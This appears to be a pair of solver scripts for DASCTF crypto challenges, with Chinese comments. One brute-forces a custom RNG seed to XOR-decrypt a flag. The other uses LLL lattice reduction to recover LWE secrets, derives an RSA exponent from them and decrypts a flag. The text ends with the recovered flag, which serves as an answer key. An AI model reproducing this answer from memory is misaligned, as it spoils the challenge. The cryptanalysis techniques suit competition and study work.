
# 穷举所有自由变量的组合
# 自由变量通常很少,比如 4-8 个,所以 2^8 = 256 次循环很快
print(f"[*] Brute-forcing {len(null_basis)} free variables...")

valid_chars = set(string.printable.encode())

for i in range(1 << len(null_basis)):
    # 组合特解和零空间向量
    candidate_seed = base_seed
    for j in range(len(null_basis)):
        if (i >> j) & 1:
            candidate_seed ^= null_basis[j]
    
    # 尝试解密
    try:
        gen = myRNG_solved(candidate_seed, mask)
        key = gen.get_myRNG_randbits(64*8)
        flag_long = key ^ c
        flag_bytes = long_to_bytes(flag_long)
        
        # 简单的启发式检查:Flag 应该包含常规字符
        # 比如检查是否只包含字母数字和常规符号
        if all(b in valid_chars for b in flag_bytes):
             # 额外的检查:虽然我们strip了DASCTF,但内容通常是UUID或有意义的字符串
             # 这里直接打印出来人工确认
             print(f"\n[+] Found Candidate Seed: {candidate_seed}")
             print(f"[+] Flag Content: {flag_bytes}")
             print(f"[+] Full Flag: DASCTF{{{flag_bytes.decode()}}}")
    except:
        continue

two_examples

import json
import ast
from hashlib import sha512
from Crypto.Util.number import long_to_bytes

# [1] 读取数据
print("[*] Loading data...")
with open('M.matrix', 'r') as f:
    data_M = json.load(f)
    # 使用 ast.literal_eval 安全地将字符串形式的列表转换为 Python 列表
    A_list = ast.literal_eval(data_M["A"])
    B_list = ast.literal_eval(data_M["B"])
    p = int(data_M["p"])

with open('v.vector', 'r') as f:
    data_v = json.load(f)
    b1_list = ast.literal_eval(data_v["b1"])
    b2_list = ast.literal_eval(data_v["b2"])

with open('RSA.enc', 'r') as f:
    data_rsa = json.load(f)
    N = int(data_rsa["N"])
    c = int(data_rsa["c"])

# 转换为 Sage 对象
A = matrix(GF(p), A_list)
B = matrix(GF(p), B_list)
b1 = vector(GF(p), b1_list)
b2 = vector(GF(p), b2_list)

n = A.nrows() # 20
m = A.ncols() # 30

# [2] 构造和与差的方程
# sum: b1 + b2 = (s1 + s2)(A + B) + (e1 + e2)
# diff: b1 - b2 = (s1 - s2)(A - B) + (e1 - e2)

M_sum = A + B
v_sum = b1 + b2
M_diff = A - B
v_diff = b1 - b2

def solve_error(M_mat, v_vec, p):
    """
    使用 CVP/Embedding 技术恢复误差向量
    方程: v = s * M + e (mod p)
    构造格:
    [ M   0 ]
    [ pI  0 ]
    [ v   1 ]
    """
    rows = M_mat.nrows()
    cols = M_mat.ncols()
    
    # 构造格基矩阵
    # Block 1: M_mat (rows x cols) | 0
    # Block 2: p*I (cols x cols)   | 0
    # Block 3: v_vec (1 x cols)    | 1
    
    # 注意:Sage中 block_matrix 很有用,但手动构造更直观以防维度混淆
    # 这里的 M_mat 是 20x30,我们要利用行向量
    
    L = matrix(ZZ, rows + cols + 1, cols + 1)
    
    # 填入 M_mat (lifted to ZZ)
    for i in range(rows):
        for j in range(cols):
            L[i, j] = int(M_mat[i, j])
            
    # 填入 p * Identity
    for i in range(cols):
        L[rows + i, i] = p
        
    # 填入 v_vec 和 1
    for j in range(cols):
        L[rows + cols, j] = int(v_vec[j])
    L[rows + cols, cols] = 1
    
    print(f"[*] Running LLL for matrix size {L.nrows()}x{L.ncols()}...")
    L_red = L.LLL()
    
    for row in L_red:
        if row[cols] == 1:
            return vector(GF(p), row[:cols]) # 这里的 row[:cols] 就是 -e 或者 e?
            # 关系: v - sM - kpI = e. 
            # 格向量 vec = v * 1 + ... = e
            # 所以找到的向量前部就是误差 e
        elif row[cols] == -1:
            return vector(GF(p), -row[:cols])
    return None

print("[*] Solving for Error vectors...")
e_sum = solve_error(M_sum, v_sum, p)
e_diff = solve_error(M_diff, v_diff, p)

if e_sum is None or e_diff is None:
    print("[-] LLL failed to recover errors.")
    exit()

inv_2 = inverse_mod(2, p)
e1 = (e_sum + e_diff) * inv_2
e2 = (e_sum - e_diff) * inv_2

def vec_to_signed_int(v, p):
    res = []
    for x in v:
        i = int(x)
        if i > p // 2:
            res.append(i - p)
        else:
            res.append(i)
    return res

print(f"[*] e1 recovered sample: {vec_to_signed_int(e1, p)[:5]}") 


target_sum = v_sum - e_sum
target_diff = v_diff - e_diff

# solve_left: x * M = b
s_sum = M_sum.solve_left(target_sum)
s_diff = M_diff.solve_left(target_diff)

s1 = (s_sum + s_diff) * inv_2
s2 = (s_sum - s_diff) * inv_2

print("[*] s1 and s2 recovered.")

def vector_to_sha512_hex(vec):

    vector_str = ''.join(str(i) for i in vec)
    res = sha512(vector_str.encode()).hexdigest()
    res = int(res, 16)
    return res

d_base = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)


for i in range(10):
    d_guess = d_base + i
    m_int = power_mod(c, d_guess, N)
    try:
        flag_bytes = long_to_bytes(int(m_int))
        if b'flag{' in flag_bytes or b'CTF{' in flag_bytes:
            print(f"\n[+] Flag found with d_offset={i}:")
            print(flag_bytes.decode())
            break
    except:
        continue
else:
    print(f"\n[!] Header not found, raw hex of first attempt:")
    m_int = power_mod(c, d_base, N)
    print(long_to_bytes(int(m_int)))
DASCTF{Y0U_Can_S01ve_The_lwe!!!!}